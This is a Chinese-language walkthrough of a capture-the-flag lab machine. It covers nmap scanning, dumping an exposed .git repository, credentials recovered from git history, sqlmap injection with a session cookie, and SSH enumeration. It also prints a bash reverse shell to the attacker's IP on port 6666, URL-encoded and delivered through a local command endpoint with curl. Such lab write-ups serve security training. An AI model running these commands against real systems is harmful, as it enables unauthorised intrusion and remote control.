描述

Difficulty:Hard

This works better with VMware rather than VirtualBox

Hint: Don’t waste your time For Brute-Force

nmap扫存活

image-20221202095901216

1
2
kali 192.168.169.220
靶机  192.168.169.230

nmap扫描靶机

image-20221202100023256

1
2
端口 22 80
 Git repository  git泄露

目录

image-20221202100802985

image-20221202100909249

使用git工具

1
https://github.com/arthaud/git-dumper

image-20221202102602565

  • 运行 git_dumper.py
1
python3 git_dumper.py http://192.168.169.230/.git/ website

image-20221202102643192

查看文件

image-20221202103234430

image-20221202103307141

1
一个登录页面 需要邮箱密码

image-20221202103413841

git log

image-20221202103534052

1
查看修改历史

image-20221202103823310

image-20221202103750063

1
发现账号密码
1
if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){

登陆测试

image-20221202104106972

image-20221202104408751

1
看url 有注入点

注入

  • 要带上cookie

image-20221202104907306

1
sqlmap -u "http://192.168.169.230/dashboard.php?id=1" --cookie  PHPSESSID=3ca3jbi4mk3749bv84uu4supol  --dbs

image-20221202105029498

image-20221202105122261

  • ssh

image-20221202105930738

  • users

image-20221202110420275

ssh

1
ssh jehad@192.168.169.230

image-20221202110609619

image-20221202110814345

image-20221202110923926

1
find / -user root -perm -4000 -print 2>/dev/null
  • 查看定时任务
1
cat  /etc/crontab

image-20221202111256422

  • 查看一下 /opt/web：

    1
    cat /opt/web/index.php

image-20221202111828200

  • 看下 tcp 进程：
1
netstat -tlnp

image-20221202111948556

image-20221202112257290

1
可以运行cmd

写入shell

  • 开启监听
  • 进行url编码
1
bash -c 'bash -i >& /dev/tcp/192.168.169.220/6666 0>&1'
1
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.169.220%2F6666%200%3E%261'
  • 写入
1
curl "127.0.0.1:9999/?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.169.220%2F6666%200%3E%261'"

image-20221202113531327

image-20221202113644882

  • 查看历史命令

image-20221202113803704

image-20221202114200481

切换用户

image-20221202114041541

image-20221202114224031

提权

image-20221202114320065

image-20221202114515914

image-20221202114548430